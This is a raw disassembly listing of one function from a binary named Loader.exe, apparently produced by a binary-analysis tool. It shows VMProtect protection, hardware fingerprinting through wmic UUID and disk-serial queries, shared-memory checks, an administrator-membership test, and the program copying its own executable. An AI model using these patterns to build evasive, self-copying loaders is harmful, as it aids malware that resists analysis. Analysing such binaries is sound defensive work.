Function at 0x1400221c0
Capabilities:
Copy file
Delete file
Get token membership

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x698]
sub rsp, 0x770
movaps xmmword [rax - 0x38], xmm6
mov rax, qword [0x140119740]
xor rax, rsp
mov qword [rbp + 0x650], rax
xor r14d, r14d
mov dword [rsp + 0x70], r14d
lea rcx, str.main
call qword [sym.imp.VMProtectSDK64.dll_VMProtectBegin]
lea rcx, [rbp - 0x60]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
nop
xor edx, edx
lea rcx, [rbp - 0x38]
call sym.Loader.exe_public:_void___cdecl_Json::Value::constructor_enum_Json::ValueType____ptr64
nop
mov rbx, qword [0x14011cfc8]
xorps xmm0, xmm0
movups xmmword [rbp + 0x48], xmm0
mov qword [rbp + 0x58], r14
mov qword [rbp + 0x60], r14
lea r8d, [r14 + 0x1c]
lea rdx, str.GlobalSharedMemory_IX9_0002
lea rcx, [rbp + 0x48]
call fcn.140004740
lea r8, [rbp + 0x48]
mov rcx, rbx
call fcn.14000fc70
xorps xmm0, xmm0
movups xmmword [rbp + 0x270], xmm0
movdqa xmm6, xmmword [0x1400ff580]
movdqu xmmword [rbp + 0x280], xmm6
mov byte [rbp + 0x270], r14b
movups xmmword [rbp + 0x48], xmm0
mov qword [rbp + 0x58], r14
mov qword [rbp + 0x60], r14
lea r8d, [r14 + 0x17]
lea rdx, str.wmic_csproduct_get_uuid
lea rcx, [rbp + 0x48]
call fcn.140004740
lea rdx, [rbp + 0x48]
lea rcx, [rbp + 0x28]
call fcn.14000b520
nop
lea rdx, [rbp + 0x28]
lea rcx, [rbp + 0xf0]
call fcn.1400040d0
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.14000b1d0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x210], xmm0
mov r12d, r14d
mov qword [rbp + 0x220], r14
mov r13d, reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x228], r13
mov byte [rbp + 0x210], r12b
mov rax, qword [rbp - 0x78]
mov rdx, qword [rbp - 0x80]
sub rax, rdx
sar rax, 5
cmp rax, 1
jbe 0x14002233d
add rdx, 0x20
lea rax, [rbp + 0x210]
cmp rax, rdx
je 0x14002233d
mov r8, qword [rdx + 0x10]
cmp qword [rdx + 0x18], r13
jbe 0x140022323
mov rdx, qword [rdx]
lea rcx, [rbp + 0x210]
call fcn.1400267c0
mov r13, qword [rbp + 0x228]
mov r12, qword [rbp + 0x220]
call fcn.14000ae60
mov r8d, r14d
test eax, eax
cmovns r8d, eax
lea r9, [rbp + 0x432]
test r8d, r8d
jns 0x1400223a0
neg r8d
nop word [rax + rax]
sub r9, 2
mov eax, 0xcccccccd
mul r8d
shr edx, 3
movzx eax, dx
shl ax, 2
lea ecx, [rax + rdx]
add cx, cx
sub r8w, cx
add r8w, 0x30
mov word [r9], r8w
mov r8d, edx
test edx, edx
jne 0x140022360
add r9, 0xfffffffffffffffe
mov word [r9], reloc.WLDAP32.dll_Ordinal_45
jmp 0x1400223d0
sub r9, 2
mov eax, 0xcccccccd
mul r8d
shr edx, 3
movzx eax, dx
shl ax, 2
lea ecx, [rax + rdx]
add cx, cx
sub r8w, cx
add r8w, 0x30
mov word [r9], r8w
mov r8d, edx
test edx, edx
jne 0x1400223a0
xorps xmm0, xmm0
movups xmmword [rbp + 0x190], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1a0], xmm1
lea rax, [rbp + 0x432]
cmp r9, rax
jne 0x14002240b
movdqa xmm0, xmmword [0x1400ff570]
movdqu xmmword [rbp + 0x1a0], xmm0
mov word [rbp + 0x190], r14w
jmp 0x140022427
lea r8, [rbp + 0x432]
sub r8, r9
sar r8, 1
mov rdx, r9
lea rcx, [rbp + 0x190]
call fcn.140004740
mov edi, recv
mov r8, qword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x1a8]
mov rax, rcx
sub rax, r8
lea r15d, [rdi + 0xf]
cmp rax, r15
jb 0x1400224ec
lea rax, [r8 + 0x1b]
mov qword [rbp + 0x1a0], rax
lea rsi, [rbp + 0x190]
cmp rcx, 7
cmova rsi, qword [rbp + 0x190]
lea rax, [0x1400ff24e]
lea rcx, str.wmic_diskdrive_where_index
cmp rax, rsi
jbe 0x140022497
lea rax, [rsi + r8*2]
cmp rcx, rax
ja 0x140022497
cmp rsi, rcx
jbe 0x14002249a
mov r14, rsi
sub r14, rcx
sar r14, 1
jmp 0x14002249a
mov r14, r15
lea rcx, [rsi + 0x36]
lea r8, [r8*2 + 2]
mov rdx, rsi
call fcn.1400dbde0
lea rbx, [r14 + r14]
mov r8, rbx
lea rdx, str.wmic_diskdrive_where_index
mov rcx, rsi
call fcn.1400dbde0
lea rdx, str.wmic_diskdrive_where_index
lea rdx, [rdx + 0x36]
lea rdx, [rdx + r14*2]
lea rcx, [rsi + rbx]
sub r15, r14
lea r8, [r15 + r15]
call fcn.1400dbde0
lea rax, [rbp + 0x190]
jmp 0x140022500
mov qword [rsp + 0x28], r15
mov rdx, r15
lea rcx, [rbp + 0x190]
call fcn.140028c70
xorps xmm0, xmm0
movups xmmword [rbp + 0x2b0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x2c0], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x2b0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x2c0], xmm1
xor r15d, r15d
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 7
mov word [rax], r15w
or edi, 0x10
lea r8d, [r15 + 0x11]
lea rdx, str._get_serialnumber
lea rcx, [rbp + 0x2b0]
call fcn.1400059e0
xorps xmm0, xmm0
movups xmmword [rbp + 0x48], xmm0
mov qword [rbp + 0x58], r15
mov qword [rbp + 0x60], r15
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x48], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x58], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 7
mov word [rax], r15w
or edi, 0x20
lea rdx, [rbp + 0x48]
lea rcx, [rbp + 0x90]
call fcn.14000b520
nop
mov rdx, qword [rbp + 0x2c8]
cmp rdx, 7
jbe 0x1400225df
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x2b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400225da
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140024646
call fcn.1400ab160
movdqa xmm0, xmmword [0x1400ff570]
movdqu xmmword [rbp + 0x2c0], xmm0
mov word [rbp + 0x2b0], r15w
mov rdx, qword [rbp + 0x1a8]
cmp rdx, 7
jbe 0x14002263d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x190]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140022638
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002464c
call fcn.1400ab160
movdqa xmm0, xmmword [0x1400ff570]
movdqu xmmword [rbp + 0x1a0], xmm0
mov word [rbp + 0x190], r15w
mov rcx, qword [rbp - 0x80]
mov rdx, qword [rbp - 0x78]
cmp rcx, rdx
je 0x140022673
lea r8, [rbp - 0x80]
call fcn.14000cff0
mov rax, qword [rbp - 0x80]
mov qword [rbp - 0x78], rax
lea rdx, [rbp + 0x90]
lea rcx, [rbp + 0xf0]
call fcn.1400040d0
mov rdx, rax
lea rcx, [rbp + 0x130]
call fcn.14000b1d0
mov rbx, rax
lea rax, [rbp - 0x80]
cmp rax, rbx
je 0x14002271e
mov rcx, qword [rbp - 0x80]
test rcx, rcx
je 0x1400226fc
lea r8, [rbp - 0x80]
mov rdx, qword [rbp - 0x78]
call fcn.14000cff0
mov rdx, qword [rbp - 0x70]
mov rcx, qword [rbp - 0x80]
sub rdx, rcx
and rdx, 0xffffffffffffffe0
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400226eb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140024652
call fcn.1400ab160
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], r15
mov rax, qword [rbx]
mov qword [rbp - 0x80], rax
mov rax, qword [rbx + 8]
mov qword [rbp - 0x78], rax
mov rax, qword [rbx + 0x10]
mov qword [rbp - 0x70], rax
mov qword [rbx], r15
mov qword [rbx + 8], r15
mov qword [rbx + 0x10], r15
lea rcx, [rbp + 0x130]
call fcn.14000c790
xorps xmm0, xmm0
movups xmmword [rbp + 0x170], xmm0
mov rbx, r15
mov qword [rbp + 0x180], rbx
mov esi, reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x188], rsi
mov byte [rbp + 0x170], bl
mov rax, qword [rbp - 0x78]
mov rdx, qword [rbp - 0x80]
sub rax, rdx
sar rax, 5
cmp rax, 1
jbe 0x14002279c
add rdx, 0x20
lea rax, [rbp + 0x170]
cmp rax, rdx
je 0x14002279c
mov r8, qword [rdx + 0x10]
cmp qword [rdx + 0x18], rsi
jbe 0x140022782
mov rdx, qword [rdx]
lea rcx, [rbp + 0x170]
call fcn.1400267c0
mov rsi, qword [rbp + 0x188]
mov rbx, qword [rbp + 0x180]
lea rax, [rbp + 0x170]
mov r14, qword [rbp + 0x170]
cmp rsi, 0xf
cmova rax, r14
cmp byte [rbx + rax - 1], 0x2e
jne 0x1400227f5
lea rcx, [rbx - 1]
cmp rbx, rcx
jb 0x140024658
lea rax, [rbp + 0x170]
cmp rsi, 0xf
cmova rax, r14
mov qword [rbp + 0x180], rcx
mov byte [rax + rcx], 0
mov rsi, qword [rbp + 0x188]
mov rbx, qword [rbp + 0x180]
mov r14, qword [rbp + 0x170]
movabs rax, 0x7fffffffffffffff
sub rax, r12
cmp rax, 1
jb 0x14002465e
lea r9, [rbp + 0x210]
cmp r13, 0xf
cmova r9, qword [rbp + 0x210]
mov qword [rsp + 0x30], 1
lea rax, reloc.WLDAP32.dll_Ordinal_35
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r12
lea rcx, [rbp + 0x1b0]
call fcn.1400285e0
or edi, 0x40
lea rdx, [rbp + 0x170]
cmp rsi, 0xf
cmova rdx, r14
mov r8, rbx
lea rcx, [rbp + 0x1b0]
call fcn.140004210
xorps xmm0, xmm0
movups xmmword [rbp + 0x1f0], xmm0
mov qword [rbp + 0x200], r15
mov qword [rbp + 0x208], r15
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x1f0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x200], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
bts edi, 7
mov dword [rsp + 0x70], edi
mov rdx, qword [rbp + 0x1c8]
cmp rdx, 0xf
jbe 0x1400228eb
inc rdx
mov rcx, qword [rbp + 0x1b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400228e6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140024664
call fcn.1400ab160
movdqa xmm0, xmmword [0x1400ff580]
movdqu xmmword [rbp + 0x1c0], xmm0
mov byte [rbp + 0x1b0], 0
lea rdx, [rbp + 0x1f0]
cmp qword [rbp + 0x208], 0xf
cmova rdx, qword [rbp + 0x1f0]
mov r9b, 1
mov r8, qword [rbp + 0x200]
lea rcx, [rbp + 0x1d0]
call fcn.14000aa80
mov rbx, rax
lea rax, [rbp + 0x270]
cmp rax, rbx
je 0x1400229a6
psrldq xmm6, 8
movq rdx, xmm6
cmp rdx, 0xf
jbe 0x140022982
inc rdx
mov rcx, qword [rbp + 0x270]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002297d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002466a
call fcn.1400ab160
movups xmm0, xmmword [rbx]
movups xmmword [rbp + 0x270], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp + 0x280], xmm1
mov qword [rbx + 0x10], r15
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbx], 0
mov rdx, qword [rbp + 0x1e8]
cmp rdx, 0xf
jbe 0x1400229e8
inc rdx
mov rcx, qword [rbp + 0x1d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400229e2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002466a
call fcn.1400ab160
nop
mov rdx, qword [rbp + 0x208]
cmp rdx, 0xf
jbe 0x140022a29
inc rdx
mov rcx, qword [rbp + 0x1f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140022a24
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140024670
call fcn.1400ab160
mov qword [rbp + 0x200], r15
mov qword [rbp + 0x208], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x1f0], 0
mov rdx, qword [rbp + 0x188]
cmp rdx, 0xf
jbe 0x140022a84
inc rdx
mov rcx, qword [rbp + 0x170]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140022a7e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140024676
call fcn.1400ab160
nop
mov rdx, qword [rbp + 0xa8]
cmp rdx, 0xf
jbe 0x140022ac6
inc rdx
mov rcx, qword [rbp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140022ac0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002467c
call fcn.1400ab160
nop
mov rdx, qword [rbp + 0x228]
cmp rdx, 0xf
jbe 0x140022b08
inc rdx
mov rcx, qword [rbp + 0x210]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140022b02
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140024682
call fcn.1400ab160
nop
lea rcx, [rbp - 0x80]
call fcn.14000c790
nop
mov rdx, qword [rbp + 0x40]
cmp rdx, 0xf
jbe 0x140022b4d
inc rdx
mov rcx, qword [rbp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140022b48
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140024688
call fcn.1400ab160
lea rdx, [rbp + 0x270]
lea rcx, [rbp + 0xf0]
call fcn.1400040d0
mov rdx, rax
lea rcx, [rbp + 0x250]
call fcn.14001fe80
nop
cmp qword [rbp + 0x260], 0
jne 0x140022bf9
mov r8d, 0x64
lea rcx, [rbp - 0x60]
call fcn.14001f230
lea rdx, [rbp + 0x48]
lea rcx, [rbp - 0x60]
call fcn.14001eb00
nop
lea rdx, [rbp + 0x48]
cmp qword [rbp + 0x60], 0xf
cmova rdx, qword [rbp + 0x48]
mov r8, qword [rbp + 0x58]
mov rcx, qword [0x14011cfc8]
call fcn.14000fdc0
nop
mov rdx, qword [rbp + 0x60]
cmp rdx, 0xf
jbe 0x14002453a
inc rdx
mov rcx, qword [rbp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140023447
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140024622
jmp 0x140023447
lea rdx, [rbp + 0x250]
cmp qword [rbp + 0x268], 0xf
cmova rdx, qword [rbp + 0x250]
mov r8d, dword [rbp + 0x260]
call fcn.14001ec70
test al, al
jne 0x140022c9f
mov r8d, 0x65
lea rcx, [rbp - 0x60]
call fcn.14001f230
lea rdx, [rbp + 0x48]
lea rcx, [rbp - 0x60]
call fcn.14001eb00
nop
lea rdx, [rbp + 0x48]
cmp qword [rbp + 0x60], 0xf
cmova rdx, qword [rbp + 0x48]
mov r8, qword [rbp + 0x58]
mov rcx, qword [0x14011cfc8]
call fcn.14000fdc0
nop
mov rdx, qword [rbp + 0x60]
cmp rdx, 0xf
jbe 0x14002453a
inc rdx
mov rcx, qword [rbp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140023447
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140024628
jmp 0x140023447
mov dword [rsp + 0x78], r15d
mov dword [rbp + 0x88], 0
mov word [rbp + 0x8c], 0x500
lea rax, [rsp + 0x60]
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x48], r15d
mov dword [rsp + 0x40], r15d
mov dword [rsp + 0x38], r15d
mov dword [rsp + 0x30], r15d
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], r15d
xor r9d, r9d
lea r8d, [r9 + 0x12]
mov dl, 1
lea rcx, [rbp + 0x88]
call qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x140022d16
lea r8, [rsp + 0x78]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_FreeSid]
cmp dword [rsp + 0x78], 0
jne 0x140023451
lea rcx, [rbp + 0x68]
call fcn.14001fa20
nop
lea r8, str.LoaderEXEPath
lea rdx, [rbp + 0xf0]
call fcn.14001f040
mov rdx, rax
lea rcx, [rbp + 0x130]
call fcn.14001f5e0
nop
lea rcx, [rbp + 0x1d0]
call fcn.14001fa20
mov r13, rax
mov r12, qword [rbp + 0x140]
movabs rbx, 0x7ffffffffffffffe
mov rcx, rbx
sub rcx, r12
cmp rcx, 1
jb 0x14002468e
lea r15, [rbp + 0x130]
cmp qword [rbp + 0x148], 7
cmova r15, qword [rbp + 0x130]
xorps xmm0, xmm0
movups xmmword [rbp + 0x90], xmm0
lea r14, [r12 + 1]
mov eax, 7
lea rsi, [rbp + 0x90]
cmp r14, rax
jbe 0x140022df7
mov rax, r14
or rax, 7
cmp rax, rbx
ja 0x140022dd0
mov rbx, rax
mov ecx, 0xa
cmp rax, rcx
cmovb rbx, rcx
inc rbx
mov qword [rsp + 0x60], rbx
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x90]
call fcn.140005410
mov rsi, rax
lea rax, [rbx - 1]
mov qword [rbp + 0x90], rsi
mov qword [rbp + 0xa0], r14
mov qword [rbp + 0xa8], rax
lea rbx, [r12 + r12]
mov r8, rbx
mov rdx, r15
mov rcx, rsi
call fcn.1400dbde0
mov word [rsi + rbx], 0x5c
xor r15d, r15d
mov word [rsi + r14*2], r15w
bts edi, 8
mov r9, r13
lea r8, [rbp + 0x90]
lea rcx, [rbp + 0xd0]
call fcn.140028410
bts edi, 9
lea r8d, [r15 + 4]
lea rdx, str..exe
lea rcx, [rbp + 0xd0]
call fcn.1400059e0
xorps xmm0, xmm0
movups xmmword [rbp + 0xb0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xc0], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xb0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xc0], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 7
mov word [rax], r15w
bts edi, 0xa
mov rdx, qword [rbp + 0xe8]
cmp rdx, 7
jbe 0x140022ede
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xd0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140022ed9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140024694
call fcn.1400ab160
movdqa xmm0, xmmword [0x1400ff570]
movdqu xmmword [rbp + 0xe0], xmm0
mov word [rbp + 0xd0], r15w
mov rdx, qword [rbp + 0xa8]
cmp rdx, 7
jbe 0x140022f3d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140022f37
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002469a
call fcn.1400ab160
nop
mov rdx, qword [rbp + 0x1e8]
cmp rdx, 7
jbe 0x140022f83
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x1d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140022f7e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400246a0
call fcn.1400ab160
movdqa xmm0, xmmword [0x1400ff570]
movdqu xmmword [rbp + 0x1e0], xmm0
mov word [rbp + 0x1d0], r15w
lea rdx, [rbp + 0x130]
cmp qword [rbp + 0x148], 7
cmova rdx, qword [rbp + 0x130]
xorps xmm0, xmm0
movups xmmword [rbp + 0x90], xmm0
mov qword [rbp + 0xa0], r15
mov qword [rbp + 0xa8], r15
mov r8, qword [rbp + 0x140]
lea rcx, [rbp + 0x90]
call fcn.140004740
or edi, 0x1800
lea rcx, [rbp + 0x90]
call fcn.1400073f0
movzx ebx, al
mov rdx, qword [rbp + 0xa8]
cmp rdx, 7
jbe 0x140023038
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140023033
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400246a6
call fcn.1400ab160
test bl, bl
jne 0x1400230fb
lea rdx, [rbp + 0x130]
cmp qword [rbp + 0x148], 7
cmova rdx, qword [rbp + 0x130]
xorps xmm0, xmm0
movups xmmword [rbp + 0x90], xmm0
mov qword [rbp + 0xa0], r15
mov qword [rbp + 0xa8], r15
mov r8, qword [rbp + 0x140]
lea rcx, [rbp + 0x90]
call fcn.140004740
or edi, 0x18000
mov dword [rsp + 0x60], r15d
lea rax, [0x14011a3b0]
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x90]
call fcn.14001ddf0
cmp dword [rsp + 0x60], 0
jne 0x1400246ac
mov rdx, qword [rbp + 0xa8]
cmp rdx, 7
jbe 0x1400230fb
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400230f6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400246c5
call fcn.1400ab160
lea rsi, [rbp + 0xb0]
cmp qword [rbp + 0xc8], 7
cmova rsi, qword [rbp + 0xb0]
xor edx, edx
mov r8d, 0x208
lea rcx, [rbp + 0x440]
call fcn.1400dc480
xorps xmm0, xmm0
movups xmmword [rbp + 0x110], xmm0
mov qword [rbp + 0x120], r15
mov qword [rbp + 0x128], 7
mov word [rbp + 0x110], r15w
bts edi, 0xd
mov dword [rsp + 0x70], edi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r9d, 0x104
lea r8, [rbp + 0x440]
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_K32GetModuleFileNameExW]
lea rax, [rbp + 0x440]
mov rbx, 0xffffffffffffffff
mov r8, rbx
nop dword [rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x140023190
lea rdx, [rbp + 0x440]
lea rcx, [rbp + 0x110]
call fcn.140008310
lea rcx, [rbp + 0x110]
cmp qword [rbp + 0x128], 7
cmova rcx, qword [rbp + 0x110]
xor r8d, r8d
mov rdx, rsi
call qword [sym.imp.KERNEL32.dll_CopyFileW]
nop
mov rdx, qword [rbp + 0x128]
cmp rdx, 7
jbe 0x140023218
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x110]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140023213
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400246cb
call fcn.1400ab160
lea rdx, [rbp + 0xb0]
cmp qword [rbp + 0xc8], 7
cmova rdx, qword [rbp + 0xb0]
lea rcx, [rbp + 0x68]
cmp qword [rbp + 0x80], 7
cmova rcx, qword [rbp + 0x68]
xor r8d, r8d
call fcn.140002180
test eax, eax
jne 0x1400232a2
lea rdx, [rbp + 0x68]
cmp qword [rbp + 0x80], 7
cmova rdx, qword [rbp + 0x68]
xorps xmm0, xmm0
movups xmmword [rbp + 0x1b0], xmm0
mov qword [rbp + 0x1c0], r15
mov qword [rbp + 0x1c8], r15
inc rbx
cmp word [rdx + rbx*2], 0
jne 0x140023275
mov r8, rbx
lea rcx, [rbp + 0x1b0]
call fcn.140004740
lea rcx, [rbp + 0x1b0]
call fcn.140003220
test eax, eax
je 0x140023347
mov r8d, 0x66
lea rcx, [rbp - 0x60]
call fcn.14001f230
lea rdx, [rbp + 0x150]
lea rcx, [rbp - 0x60]
call fcn.14001eb00
nop
lea rdx, [rbp + 0x150]
cmp qword [rbp + 0x168], 0xf
cmova rdx, qword [rbp + 0x150]
mov r8, qword [rbp + 0x160]
mov rcx, qword [0x14011cfc8]
call fcn.14000fdc0
nop
mov rdx, qword [rbp + 0x168]
cmp rdx, 0xf
jbe 0x14002332e
inc rdx
mov rcx, qword [rbp + 0x150]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140023329
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400246d1
call fcn.1400ab160
mov qword [rbp + 0x160], r15
mov qword [rbp + 0x168], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x150], 0
mov rdx, qword [rbp + 0xc8]
cmp rdx, 7
jbe 0x14002338d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xb0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140023388
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400246d7
call fcn.1400ab160
movdqa xmm0, xmmword [0x1400ff570]
movdqu xmmword [rbp + 0xc0], xmm0
mov word [rbp + 0xb0], r15w
mov rdx, qword [rbp + 0x148]
cmp rdx, 7
jbe 0x1400233eb
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x130]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400233e6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400246dd
call fcn.1400ab160
mov qword [rbp + 0x140], r15
mov qword [rbp + 0x148], 7
mov word [rbp + 0x130], r15w
mov rdx, qword [rbp + 0x80]
cmp rdx, 7
jbe 0x14002453a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140023447
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400246e3
call fcn.1400ab160
jmp 0x14002453a
lea rcx, [rbp + 0x330]
call fcn.14000e030
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xd0], xmm0
mov qword [rbp + 0xe0], r15
mov qword [rbp + 0xe8], r15
mov r8d, Ordinal_30
lea rdx, str.GlobalSharedMemory_IX9_0001
lea rcx, [rbp + 0xd0]
call fcn.140004740
lea r8, [rbp + 0xd0]
lea rcx, [rbp + 0x330]
call fcn.14000fc70
test eax, eax
jne 0x140023523
lea r8d, [rax + 4]
lea rcx, [rbp - 0x60]
call fcn.14001f230
lea rdx, [rbp + 0x48]
lea rcx, [rbp - 0x60]
call fcn.14001eb00
nop
lea rdx, [rbp + 0x48]
cmp qword [rbp + 0x60], 0xf
cmova rdx, qword [rbp + 0x48]
mov r8, qword [rbp + 0x58]
mov rcx, qword [0x14011cfc8]
call fcn.14000fdc0
nop
mov rdx, qword [rbp + 0x60]
cmp rdx, 0xf
jbe 0x14002452d
inc rdx
mov rcx, qword [rbp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140024527
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002462e
jmp 0x140024527
xorps xmm0, xmm0
movups xmmword [rbp + 0xd0], xmm0
mov qword [rbp + 0xe0], r15
mov qword [rbp + 0xe8], r15
mov r8d, Ordinal_30
lea rdx, str.GlobalSharedMemory_IX9_0000
lea rcx, [rbp + 0xd0]
call fcn.140004740
lea r8, [rbp + 0xd0]
lea rcx, [rbp + 0x330]
call fcn.14000fc70
test eax, eax
jne 0x1400235e8
lea r8d, [rax + 3]
lea rcx, [rbp - 0x60]
call fcn.14001f230
lea rdx, [rbp + 0x48]
lea rcx, [rbp - 0x60]
call fcn.14001eb00
nop
lea rdx, [rbp + 0x48]
cmp qword [rbp + 0x60], 0xf
cmova rdx, qword [rbp + 0x48]
mov r8, qword [rbp + 0x58]
